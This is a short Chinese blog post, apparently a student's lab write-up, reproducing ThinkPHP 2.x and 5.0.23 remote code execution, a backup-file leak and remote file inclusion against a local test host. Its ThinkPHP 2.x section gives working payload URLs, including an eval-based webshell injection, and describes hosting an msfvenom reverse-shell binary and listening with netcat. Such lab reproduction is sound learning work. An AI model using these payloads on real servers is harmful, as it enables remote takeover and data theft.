漏洞复现合集(一)

1.Thinkphp2.x 命令执行漏洞

环境:

漏洞POC参考:https://www.seebug.org/vuldb/ssvid-93252

ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

 

1.漏洞payload:

http://192.168.137.128/index.php/index/index/name/${@phpinfo()}

实际测试时只要路径满足为3层就会触发命令执行

2.写入shell

http://192.168.137.128/index.php/1/2/3/${@print(eval($_POST[1]))}

实际页面会报错,但是可以连接getshell

或是直接用命令查看目录和敏感文件(这里是Windows环境)

用msfvenom生成个弹shell程序挂自己网站上

 在服务器上先监听nc -lvp 4444

Windows上下载下来后再执行反弹shell

 

2.Thinkphp5.0.23远程代码命令执行漏洞

攻防实验课让做的,截图里的学号注释了,嫌麻烦没有全部放上来

1.寻找构造链(GET型)

漏洞验证:

 

2.POST型(寻找构造链就省略了,方法类似)

这里我们能控制$methos来修改POST的内容,__construct构造时来覆盖内容,执行我们想要执行的代码

 

3.网站备份文件泄露

没啥好说的

 

4.远程文件包含

修改不存在文件报错,确认是文件包含

远程文件包含,实际测试时只能包含本地服务器上的非php文件

php.ini配置时加了.;是只能包含本地的文件

for inclusion (include_path='.;C:\php5\pear') in C:\phpStudy\WWW\index.php on line 4for inclusion (include_path='.;C:\php5\pear') in C:\phpStudy\WWW\index.php on line 4

其他情况时包含在自己服务器上准备的shell文件,连接就行了

posted @ 2021-03-08 21:22  ch0bits  阅读(445)  评论(0编辑  收藏  举报